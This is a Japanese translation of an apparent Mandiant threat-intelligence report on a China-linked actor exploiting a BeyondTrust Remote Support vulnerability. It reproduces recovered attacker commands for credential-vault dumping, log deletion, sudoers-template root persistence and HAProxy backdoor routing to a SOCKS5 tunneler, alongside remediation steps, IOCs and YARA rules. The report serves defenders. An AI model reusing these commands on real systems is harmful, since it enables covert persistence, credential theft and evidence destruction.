執筆者: Jayson Frost、Bryce Greathouse、Brian Meyer、John Palmisano、Rajesh Rajeshirke、Steve Rasch、John Wolfram
はじめに
BeyondTrustは10月15日、同社のBeyondTrust Remote Support(旧Bomgar)アプライアンスに影響する脆弱性CVE-2026-102764を公表しました。BeyondTrust Remote Supportは、IT部門がリモートのエンドポイントに安全にアクセスし、トラブルシューティングを行うための企業向けセキュアリモートアクセスソリューションです。この脆弱性の悪用に成功すると、任意のファイルをアップロードされる恐れがあります。
Mandiantはインシデント対応の過程で、中国との関連が疑われるスパイ活動の脅威アクターARMORY CASTLE(旧称: UNC5221)が、2026年8月下旬にこの脆弱性をゼロデイとして悪用していた証拠を確認しました。本記事では、ARMORY CASTLEがCVE-2026-102764の悪用後に権限を昇格し、侵害したBeyondTrust Remote Supportアプライアンスへの永続的なアクセスを確立した手口を解説するとともに、防御側が取るべき具体的な対策を示します。
ARMORY CASTLEをはじめとする脅威アクターは、脆弱性が公になると広範かつ無差別的な悪用に動くことがこれまでも多く、今回の公表を受けて広範な悪用が起きる可能性に備える必要があります。
悪用の状況
Mandiantは、CVE-2026-102764が悪用された形跡を、access、syslog、messages、thin-scc、brain、SSLの各ログファイルから確認しました。これらは、/homeディレクトリを含むLUKS暗号化パーティション経由でのみアクセスできます。影響を受ける組織は、直ちにBeyondTrustが提供するセキュリティパッチを適用して脆弱性を修正し、同社のブログに掲載された追加のガイダンスも確認することを強く推奨します。
悪用後の活動
CVE-2026-102764の悪用に成功した後、ARMORY CASTLEは複数の異なる戦術・技術・手順(TTP)を駆使して足がかりを築き、権限を昇格させ、横展開を可能にしていたことをMandiantは確認しました。侵入の全過程を通じて、ARMORY CASTLEはBeyondTrustアプライアンスの内部構造を深く理解していました。独自のCLIユーティリティ、起動時の設定テンプレート、ローカルのリバースプロキシのルーティングを悪用していたことが、その裏付けです。この脅威アクターは、新たに確認されたカスタムマルウェアであるSAWFLYウェブシェルとBARECLAWトンネラーを使って、BeyondTrustデバイスを操作していました。さらに、アクセスを維持し検知を回避するため、アプライアンスのログやエンドポイント上の痕跡を日常的に削除していました。

図1: ARMORY CASTLEによるBeyondTrust侵害の流れ
ステージング用ウェブシェル
CVE-2026-102764の悪用に成功した後、ARMORY CASTLEは/app_84304470%2EphpにPOSTリクエストを送信しました。Mandiantは、これらのPOSTリクエストに関連するファイルを回収できませんでした。最初のPOSTリクエストからおよそ11分後、ウェブルートのパス/%SITE_SERVICE_ACCOUNT%/ingredi/app/laravel/public/にSAWFLYウェブシェルが作成されたことがファイルシステムに記録されています。ARMORY CASTLEは、侵入期間を通じて、このSAWFLYウェブシェルを環境内の主要な足がかりの一つとして利用しました。
SAWFLYウェブシェル
SAWFLY(mangoapi.php)は、難読化された軽量のPHPウェブシェルです。独自のBase32トランスポート層と256ビットのRC4ストリーム暗号を用いて、双方向の暗号化C2通信を実現しています。このウェブシェルは、受信したHTTP POSTリクエストに、難読化されたパラメータ_c94mfeが含まれているかを調べます。
パラメータが存在しない場合、スクリプトは直ちにHTTPステータス404 Not Found(http_response_code(404))を設定して終了し、自動化されたWebクローラーや脆弱性スキャナーの目を逃れます。_c94mfeパラメータが渡されると、ウェブシェルはペイロードをBase32デコードし、ハードコードされた32バイトの鍵を使ってRC4で復号し、得られたPHPコードを@eval()で実行します。評価されたコードがnull以外の値を返した場合は、同じ鍵でRC4暗号化し、Base32エンコードしてクライアントに返します。
SUIDビットによる権限昇格
SAWFLYウェブシェルは、権限を持たないローカルユーザーであるサイトのサービスアカウントで動作していました。権限を昇格させるため、脅威アクターはシステムのシェル実行ファイル(/bin/sh)を/usr/bin/dbus-authdにコピーしました。
続いて、このファイルの所有者をrootに変更し、Set User ID(SUID)権限を有効にしました。SUID権限が有効なバイナリは、コマンドを実行したユーザーではなく、ファイルの所有者(root)の権限で実行されます。これにより脅威アクターは、ホストシステム上にroot権限の永続的なバックドアを手にしたことになります。
ウェブシェルで足がかりを築いた後、攻撃者はウェブサービスのアカウントからアプライアンスホストのroot権限へと昇格しました。その結果、アプライアンスが保管または仲介するあらゆる認証情報へのアクセスと、再起動や設定リセット後も残るファイルの改変が可能になりました。
認証情報の窃取: BeyondTrust Vaultの抽出
Mandiantは、脅威アクターがアプライアンス標準のシークレット管理データベースから認証情報を直接窃取しようとしたことを確認しました。そのために攻撃者が利用したのが、/ns/sbin/bt-secretsバイナリです。これはBeyondTrustアプライアンス固有の管理用コマンドラインインターフェース(CLI)ユーティリティで、パスワード、APIキー、エンドポイントの認証情報の管理・保管・取得に使われます。
脅威アクターは、複数のCLI構文を順に試しながら、アプライアンスの認証情報Vaultを探し出してダンプしようとしました。
/ns/sbin/bt-secrets get -p %SITE_SERVICE_ACCOUNT% vault
/ns/sbin/bt-secrets get %SITE_SERVICE_ACCOUNT% vault
/ns/sbin/bt-secrets get vault
図2: messagesログから復元したコマンド
まず脅威アクターは、特定のサイトサービスアカウントのVaultを狙い、そのプロファイルだけに割り当てられたパスワードとキーの取得を試みました。
次に、フォールバックとして、アプライアンス全体のグローバルなパスワード保管庫を対象にしたコマンドを発行し、保存されているすべての管理者認証情報のダンプを試みました。
bt-secretsバイナリの操作を終えた脅威アクターは、/home/bomgar/log/bt-secrets.logに保存されたレコードとアーカイブファイルをすべて強制的に削除しました。
/usr/sbin/sh -c 'rm -f /home/bomgar/log/bt-secrets.log /home/bomgar/log/bt-secrets.log.* 2>/dev/null;'
図3: messagesログから復元したコマンド
永続化
長期にわたって持続的にアクセスするため、脅威アクターはBeyondTrustの設定テンプレートを標的とし、サイトのサービスアカウントにパスワード不要のroot権限を付与していたことをMandiantは確認しました。
まず、システム起動時に自動実行されるスクリプト用に予約されたディレクトリ/home/bomgar/sbin/post_boot.dを作成しました。続いて、このディレクトリ内にシェルスクリプトzz-root-persistを作成しています。
zz-root-persistスクリプトの内容を見ると、まず/ns/config/sudoers.templateファイル内で、当該ユーザーアカウントにパスワード不要のroot権限がすでに付与されているかを確認します。該当エントリがなければ、スクリプトはテンプレートに '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL' を追記します。sudoersテンプレートに追加されたこのエントリにより、サイトのユーザーアカウントは、ホストシステム上であらゆるコマンドをパスワードなしで管理者権限で実行できるようになります。
最後にスクリプトは '/ns/sbin/bt-sysconfig' --no-restart miscを実行します。これによりアプライアンスのバックエンドは、/ns/config/sudoers.templateを即座に解析し、有効な/etc/sudoersファイルを再構築します。この手法なら、/etc/sudoersを直接書き換えた場合に通常は上書きされてしまう変更と異なり、権限昇格がシステムの再起動や設定リセット後も維持されます。
#!/bin/bash
grep -qF '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL' '/ns/config/sudoers.template' || echo '%SITE_SERVICE_ACCOUNT% ALL=(ALL) NOPASSWD: ALL' >> '/ns/config/sudoers.template'
'/ns/sbin/bt-sysconfig' --no-restart misc
図4: zz-root-persistの内容
アンチフォレンジック
アプライアンスへの不正アクセスの間、脅威アクターは、システム、Webサーバー、アプリケーションの各レベルのログを組織的に削除し、防御を弱めて検知を妨げようとしました。Mandiantはこうした事例を複数確認しています。
脅威アクターは、SAWFLYウェブシェルから昇格したsudo権限で次のコマンドを実行し、ホストとサイト固有の両方のディレクトリにあるアクティブなログを削除しました。
'rm -f \'/ns/log/auth.log\' \'/ns/log/ssl.log\' \'/ns/log/proto-handler.log\' \'/ns/log/bt-docker.log\' \'/ns/log/http-access.log\' \'/ns/log/http-errors.log\' \'/ns/log/php-fpm.log\' \'/ns/log/php-fpm-access.log\' \'/ns/log/php_debug.log\' \'/ns/log/php_web_errors.log\' \'/var/log/messages\' \'/home/%SITE_SERVICE_ACCOUNT%/ingredi/log/httpd_access.log\' \'/home/%SITE_SERVICE_ACCOUNT%/ingredi/log/httpd_error.log\' /tmp/sshauth.*'
図5: 復元したコマンド
横展開: BeyondTrust管理者セッションの悪用
BeyondTrustデバイスを侵害した後、脅威アクターは侵害した管理者の認証情報を使ってBeyondTrust Remote Supportアプリケーションに移動し、偵察を行いました。まず、管理者アカウントでWeb管理ポータルにログインしています。
{
"event": "login",
"status": "success",
"target": "web/login",
"who": "[REDACTED_USERNAME] using password",
"who_ip": "[REDACTED_IP]"
}
図6: BeyondTrustのsyslogエントリ
最初のアクセスを試し、標準のAdministratorsグループポリシーに一時的に参加できることを確認した後、脅威アクターは長期的な永続化に向けて方針を切り替えました。侵害したアカウントの権限を直接変更し、ローカルのJump ItemsとTeamの両権限をNo AccessからAdministratorに引き上げたのです。Jump Itemsとは、Jump Group内でリモートアクセス用に提供される個々のシステムやデバイスのことで、管理者はこれによってリモートシステムへのアクセスを整理・制御できます。この設定変更により、脅威アクターは、アプライアンスのJump Itemリストに登録された下流のシステムに対して、恒久的かつ無制限にリモートセッションを開始する権限を得ました。
{
"event": "user_changed",
"old_username": "[REDACTED]",
"old_permissions:jump_item_role:default:id": 1,
"new_permissions:jump_item_role:default:id": 3,
"old_permissions:jump_item_role:default:name": "No Access",
"new_permissions:jump_item_role:default:name": "Administrator",
"old_permissions:jump_item_role:teams:id": 1,
"new_permissions:jump_item_role:teams:id": 3,
"old_permissions:jump_item_role:teams:name": "No Access",
"new_permissions:jump_item_role:teams:name": "Administrator"
}
図7: BeyondTrustのsyslogエントリ
内部偵察
高い管理権限を手にした脅威アクターは、内部のエンドポイントを標的としたリモートサポートセッションを確立したことをMandiantは確認しました。
接続後、脅威アクターはアプライアンス組み込みのサポートツールを使って、ファイルシステム全体へのアクセスを要求し、取得しました。さらに、BeyondTrust RemoteAs標準のファイル転送サービスを利用して、ネットワーク偵察に役立つソフトウェアインベントリなどの機密性の高い内部文書を、ユーザーのデスクトップ環境から直接ダウンロードし、外部へ持ち出しています。
BARECLAWトンネラー
Mandiantは、脅威アクターがカスタムのSOCKS5プロキシトンネラーを使い、BeyondTrustデバイス経由で通信をトンネリングしていたことを確認しました。BARECLAWはC言語で書かれたトンネラーで、WebSocketトランスポート上でSOCKS5プロキシサービスを提供し、リモートクライアントと接続先の間でTCP接続を中継します。BARECLAWは、HTTPとWebSocketの機能を提供するためにCivetWeb WebServerを静的に組み込み、TLSにはOpenSSLを使用しています。設定の自由度も高く、認証の要求、クライアントとトンネラー間のデータ暗号化、到達可能な接続先の特定CIDR範囲への制限、上流プロキシへの通信のチェーン、既定のWebSocketエンドポイントとリッスンポートの変更といったオプションを備えています。PEM証明書を指定するとTLSが有効になります。一方、認証、暗号化、接続先のフィルタリング、TLSは既定では無効です。
BARECLAWはCLI入力で設定を受け取り、CLIオプションのメニューを表示します。
Usage: %s [options]
--listen PORT plain ws port (default 8080)
--listen-tls PORT wss port (default 8443, needs --ssl-cert)
--ssl-cert FILE PEM certificate (enables wss)
--token STRING shared secret (?token= auth + obfs seed)
--obfs enable XOR stream obfuscation
--timeout SEC idle timeout (default 300)
--connect-timeout SEC target connect timeout (default 10)
--max-tunnels N concurrent tunnel limit (default 100)
--allow-net CIDR allowed target subnet (repeatable)
--upstream [socks5://]host:port route via upstream SOCKS5
--threads N civetweb worker threads (default 64)
--ws-path PATH websocket endpoint path (default /wsproxy)
-q, --quiet zero output (all logging suppressed)
-h this help
図8: BARECLAWのCLIオプションメニュー
脅威アクターは、次のコマンドライン引数でBARECLAWを実行しました。
/tmp/ingredi_ws --listen 19800 --token %REDACTED% --obfs -q --ws-path /uidchanarge
図9: BARECLAWの完全なコマンドライン引数
このコマンドラインは、BARECLAWを被害システム上でTCPポート19800でリッスンさせ、WebSocketエンドポイント/uidchanargeを作成するものです。クライアントは、コマンドライン引数で指定されたトークンを使って認証する必要があります。-q引数は、トンネラーのログ出力を抑制します。トンネリングされるデータは、このトークンと、セッション開始時にクライアントが提供する8バイトの値から導出されたXORベースの処理で暗号化されます。CLIオプションに–ssl-certと–listen-tlsがないため、今回のケースではTLSは有効化されていませんでした。
Haproxy.confの改変
BARECLAWトンネラーの作成に加え、脅威アクターが/ns/config/haproxy.confファイルを改変し、BARECLAWにインターネットから直接アクセスできるようにしていたことをMandiantは確認しました。BeyondTrustデバイス上で動作するHAProxyサービスは、デバイスのリバースプロキシとして機能します。BeyondTrustサーバーに代わって受信リクエストを受け付け、そのポートやURLパスに基づいて、ローカルシステム上で動作する適切なバックエンドサービス(Webインターフェース、管理ポータル、アプリケーションゲートウェイなど)に転送します。
haproxy.conf ファイルは、BeyondTrustアプライアンスが受信トラフィックをどのように処理・ルーティングし、保護するかを定める主要な設定スクリプトです。脅威アクターはまず、特定のURIパス/uidchanargeへの受信トラフィックを監視するアクセス制御リスト(ACL)wswswsを設定しました。このパスに一致するリクエストを検出すると、HAProxyは通常のアプライアンスのWebサービスを迂回し、webskd3という名前のカスタムバックエンドにトラフィックをルーティングします。
acl wswsws path /uidchanarge
use_backend webskd3 if wswsws
図10: haproxy.confへのACL変更
次に、webskd3バックエンドは、受信したWebストリームをローカル(127.0.0.1 / localhost)のTCPポート19800にルーティングします。このポートでは、BARECLAWユーティリティが待ち受けています。ローカル限定のバインドにより、このバックドアのリスナーは外部からのネットワークスキャンでは完全に隠蔽されます。HAProxyのローカルリダイレクトを経由しなければ、内部から到達できないためです。
backend webskd3
mode http
server websocks5srv 127.0.0.1:19800
option http-keep-alive
timeout server 28s
timeout tunnel 5h
図11: haproxy.confへのバックエンドルート変更
攻撃者の特定
GTIGは、CVE-2026-102764のゼロデイ攻撃と、それに続くSAWFLYおよびBARECLAWの展開を、中国との関連が疑われるスパイ活動アクターARMORY CASTLE(旧称UNC5221)によるものと判断しています。今回の侵入で使われたツールとTTPは、ARMORY CASTLEがこれまでに確認された活動と一致します。
GTIGはこれまでにも、ARMORY CASTLEがエッジアプライアンスの複数の脆弱性を悪用し、パッシブバックドアやウェブシェルからエッジデバイスのトロイの木馬化コンポーネントに至るまで、目的達成のために広範なカスタムツール群を展開していることを報告しています。ARMORY CASTLEは早くも2023年10月から活動しており、これまでに幅広い国や業種を標的にしてきました。
今後の見通しと影響
ARMORY CASTLEはこれまでの攻撃キャンペーンでも、ゼロデイとして限定的に悪用していた脆弱性が公開されると、広範かつ無差別的な悪用に転じ、パッチが適用される前に標的組織へ侵入しようと急いできました。CVE-2026-102764についても、同様の広範な悪用の試みが観測される可能性があります。
GTIGは、ARMORY CASTLEがスパイ活動の目的を達成するため、今後もエッジデバイスのゼロデイ脆弱性を悪用して環境へのアクセスを得続けると高い確度で評価しています。防御側は、CVE-2026-102764の公表後に、2024年にCVE-2023-46805とCVE-2024-21887の公表後にGTIGが確認したような広範な悪用をARMORY CASTLEが仕掛ける可能性にも備える必要があります。
修復と堅牢化
まだBT26-05パッチを適用していない組織は、直ちに自社の露出状況とリスクを評価し、BeyondTrustのブログにある追加のガイダンスを確認してください。CVE-2026-102764は、バージョン26.2.3までのサポート対象のすべてのRemote Supportバージョンに影響します。認証されていないリモートの攻撃者がアプライアンス上でファイル操作を実行でき、ホストレベルの制御や、アプライアンスが保管または仲介するあらゆる認証情報へのアクセスにつながる恐れがあります。悪用が行われた期間中に、脆弱なバージョンでインターネットから到達可能だったアプライアンスは、調査が完了するまで侵害された可能性があるものとして扱ってください。Mandiantは、パッチ適用を最優先とし、封じ込めとサポート業務への影響のバランスを取る段階的なアプローチを推奨します。
当面の緩和策
組織は、自社のリスク許容度、侵害の証拠、運用上のニーズに基づいて、以下の選択肢から選んでください。
選択肢1: BT26-05パッチの適用(Mandiant推奨)
-
Remote Support SaaS: BeyondTrustは2026年10月9日、すべてのSaaSテナントにパッチを適用しました。アプライアンス自体に関して、利用者側の対応は不要です。ただし、選択肢3の認証情報と設定に関する手順は引き続き適用されます。
-
セルフホスト版、バージョン24.3.1以降:
/applianceインターフェースからBT26-05-RSパッチを適用してください。アプライアンスが自動更新に登録されている場合は、自動的に適用されたことを確認してください。 -
セルフホスト版、24.3.1より古いバージョン: サポート対象のバージョンにアップグレードしたうえで、パッチを適用してください。アップグレードで脆弱性は解消されますが、過去の露出に対する修復にはなりません。
-
パッチが
/applianceに表示されない場合は、BT26-05を参照してBeyondTrustサポートにケースを起票してください。
選択肢2: 侵害済み、または侵害の疑いがあるアプライアンスの隔離
-
対処前に保全する: 変更や再起動の前に、仮想アプライアンスはメモリ付きでスナップショットを取得し、ディスクをエクスポートしてください。Bシリーズのハードウェアおよび SaaSテナントについては、BeyondTrustサポートを通じてフォレンジック保全を依頼してください。ホストにアクセスできる攻撃者はアプライアンス上のログを削除できるため、露出期間全体のsyslog、リバースプロキシまたはWAF、境界ファイアウォールのログを収集してください。Mandiantは、攻撃者がインシデントの全期間にわたってログを削除していたことを確認しています。
-
境界で隔離する: 設定を維持したままレビューできるよう、
/applianceではなくファイアウォールで、アプライアンスのパブリックアドレスへの受信トラフィックをブロックしてください。 -
外向き通信を制限する: BeyondTrustのアップデートおよびライセンスのエンドポイントを除き、送信トラフィックを拒否し、拒否した接続をすべて記録してください。
-
アクセス経路を遮断する:
/loginから、アクティブなサポートセッションを終了し、新規セッション、Jump Client、Jumpoint、APIアカウントを無効化してください。監査証跡を残すため、削除ではなく無効化にしてください。 -
クリーニングではなく再構築する: 侵害が確認されたアプライアンス、または侵害状況が不明なアプライアンスは、クリーンで完全にパッチ適用済みのイメージから再展開してください。利用者はアプライアンスホストのファイルシステムを監査できず、ホストレベルの永続化は再起動や設定リセット後も残ります。復元する場合は、露出期間より前の日付の設定バックアップのみを使用するか、隔離したまま最新のバックアップを復元し、何かを再接続する前に選択肢3のパートBのレビューを完了してください。新しいTLS証明書を発行し、再構築したアプライアンスからJump Client、Jumpoint、representative consoleを再展開してください。
注: 隔離とセッションの終了は、サポート業務を中断させます。実施前に、ヘルプデスクやベンダーサポートの関係者と調整してください。
選択肢3: 的を絞った補完的対策の適用
以下の対策は、露出を減らし、悪用後の影響を抑えるものです。パッチの代わりにはなりません。
パートA: ネットワーク制限
-
アプライアンス側で、
/loginおよび/applianceの管理インターフェースへのアクセスをIPまたはネットワークセグメントで制限してください。インターネットから到達可能にするのは、representative console、カスタマーポータル、Jump Clientのトラフィックのみにします。 -
運用上可能であれば、アプライアンスの前段に、完全なURIログを記録するリバースプロキシまたはWAFを配置してください。アプライアンス自身では改変できない、リクエストパスの記録を残すことができます。
パートB: 認証情報のローテーションと設定のレビュー
-
セッションと登録の失効: すべてのアクティブなサポートセッションを終了し、パッチ適用済みまたは再構築したアプライアンスからJump Client、Jumpoint、representative consoleを再展開して、既存のトークンを無効にしてください。
-
依存関係の順に認証情報をローテーションする:
/applianceの管理者認証情報、/loginの管理者とローカルユーザー、APIクライアントシークレット、セキュリティプロバイダーのバインドアカウントとSAML署名鍵、Remote Support VaultおよびPassword SafeまたはPrivileged Remote Access(PRA)に統合された認証情報(対象システム側でローテーション)、連携用の認証情報(SMTP、syslog、IT サービス管理(ITSM)コネクタ、送信イベントのシークレット)、そして該当期間中にサポートセッションへ入力されたすべての認証情報が対象です。 -
/loginの設定を、露出期間前のベースラインと照合してレビューする: ユーザーとロールの変更(特にAdministratorに引き上げられたJump Itemロール)、グループおよびセッションのポリシー、APIアカウント、セキュリティプロバイダー、Jump ItemとJumpoint、送信イベントやsyslogの宛先を確認してください。変更記録や担当者の明記がないものは削除してください。
-
サポートセッションのレポートを確認する: 該当期間について、ファイル転送を含むレポートを確認し、どのエンドポイントにアクセスされ、何が持ち出されたかを特定してください。アクセスされたエンドポイントはすべて、下流のハンティングの対象範囲に含まれます。
注: 認証情報のローテーションは、アプライアンスにパッチを適用するか再構築した後に行ってください。それより前に実施すると、アプライアンスを掌握したままの攻撃者に新しい認証情報が露出してしまいます。
パートC: コントロールプレーンの制限
-
すべての
/loginユーザーにフィッシング耐性のあるMFAを用いたSAMLシングルサインオンを必須とし、ローカルアカウントは、使用時にアラートを出す、Vaultで保管した緊急用アカウント1件を除いて削除してください。 -
組み込みのAdminアカウントに、公式のBeyondTrustの二要素認証ガイドラインに従って多要素認証(MFA)が設定されていることを確認してください。
-
すべてのグループポリシーで、既定のJump ItemロールをNo Accessに設定し、ロールはユーザー単位ではなくポリシーを通じて付与してください。
-
APIアカウントの権限は必要最小限に絞り、ユーザーやJump Itemの管理権限を持つアカウントには自動化の担当者を明記し、APIシークレットは定期的にローテーションしてください。
-
特権認証情報は、Remote Support VaultではなくPassword Safeまたは認証情報インジェクションに対応した外部Vaultで管理し、アプライアンスには非対話型のサービスアカウントの認証情報のみを保存してください。
-
アプライアンスからの外向き通信は、BeyondTrustのエンドポイントと自組織のsyslogおよびディレクトリサーバーのみを許可する、デフォルト拒否のフィルタリングを適用してください。
パートD: ログ取得と検知エンジニアリング
ログ取得と可視性
-
アプライアンスのsyslogをTLSでSIEMに転送し、数カ月に及ぶ露出期間をカバーできる保持期間を設定してください。あわせて、アプライアンスのアドレスに関するリバースプロキシまたはWAFと境界ファイアウォールのログも収集してください。
-
/loginのセッション、チームのアクティビティ、ユーザー監査の各レポートを定期的にエクスポートしてください。
検知エンジニアリング
-
アカウントとポリシーの変更: Jump Itemまたはチームのロールを引き上げる
user_changedイベント、変更チケットのないuser_added、api_account、security_providerの各イベント、送信イベントやsyslogの宛先の変更。 -
認証: 一般家庭向けブロードバンドや商用VPNのアドレス空間からの
/login成功、営業時間外の管理者ログイン。 -
セッションのアクティビティ: ファイル転送イベント、および該当期間中にロールが変更されたアカウントが開始したセッション。
-
リクエストパス: リバースプロキシまたはWAFで確認する、既知のRemote Supportのパスセット以外のパス。未知の.phpパスや、サポート担当者およびエンドポイントのアドレス範囲以外からのWebSocketアップグレードを含みます。
-
アンチフォレンジック: アプライアンスからのsyslog転送の途切れ。単一セッションを境にした中断は、ログ改ざんの有力な兆候です。
侵害指標(IOC)
本記事で取り上げた活動の調査と特定を支援するため、登録ユーザー向けのGTI Collectionに侵害指標(IOC)を掲載しています。
ファイルの指標
|
ファイル名 |
説明 |
SHA-256 |
|
app_84304470%2Ephp |
ステージング用ウェブシェル |
N/A |
|
mangoapi.php |
SAWFLYウェブシェル |
dc14e215269a93fdbc4c1a80b984c23faf7af0911c6dbb85309796a6f2ae95fb |
|
ingredi_ws |
BARECLAWトンネラー |
1f19b9a27d79c11bda00a1e8faf74a7fdd683d38ccef1b60df2fd0307e3aa462 |
検知
YARAルール
rule G_Hunting_Webshell_SAWFLY_1 {
meta:
author = "Google Threat Intelligence Group"
strings:
$b32 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" ascii wide
$rc4 = "range(0,255)" ascii wide
$pack = "pack('H*'," ascii wide
$eval = "@eval(" ascii wide
$code404 = "http_response_code(404)" ascii wide
condition:
filesize < 20KB and
all of them
}
rule G_Hunting_Backdoor_BARECLAW_1 {
meta:
author = "Google Threat Intelligence Group"
strings:
$s1 = "[%s ws_socks5d] " ascii wide
$s2 = "--obfs requires --token" ascii wide
$s3 = "mux: %s (frame[%lu]: %s)" ascii wide
$s4 = "cannot create stream pump/writer thread (stream %d)" ascii wide
$s5 = "reject: bad or missing token from %s" ascii wide
$s6 = "listening on %s path=%s (token=%s obfs=%s max_tunnels=%d threads=%d)" ascii wide
$s7 = "--ws-path must start with '/'" ascii wide
$b_xorshift = { 48 c1 e0 17 48 31 c1 48 89 f0 48 c1 e8 1a 48 31 f0 48 31 c8 48 c1 e9 11 48 31 c8 }
condition:
uint32(0) == 0x464c457f and (5 of ($s*)) or ($b_xorshift and (3 of ($s*)))
}
Google Security Operations(SecOps)
Google SecOpsの利用者は、Mandiant Hunting、Mandiant Frontline Threats、Mandiant Intel Emerging Threatsの各ルールパックで、これらの広範なカテゴリのルールなどを利用できます。本記事で取り上げた活動は、Google SecOpsでは次のルール名で検知されます。
-
Echo Pipes Base64 To Shell
-
Base64 Encoded Shell Command Execution
-
Low Severity Endpoint Detection Cluster on Host
-
Suspicious Curl Download to tmp
-
Suspicious Curl Network Connection to Staging Directory
謝辞
この脅威への対応でご協力いただいたBeyondTrustに感謝します。
翻訳元: https://cloud.google.com/blog/topics/threat-intelligence/armory-castle-exploits-beyondtrust/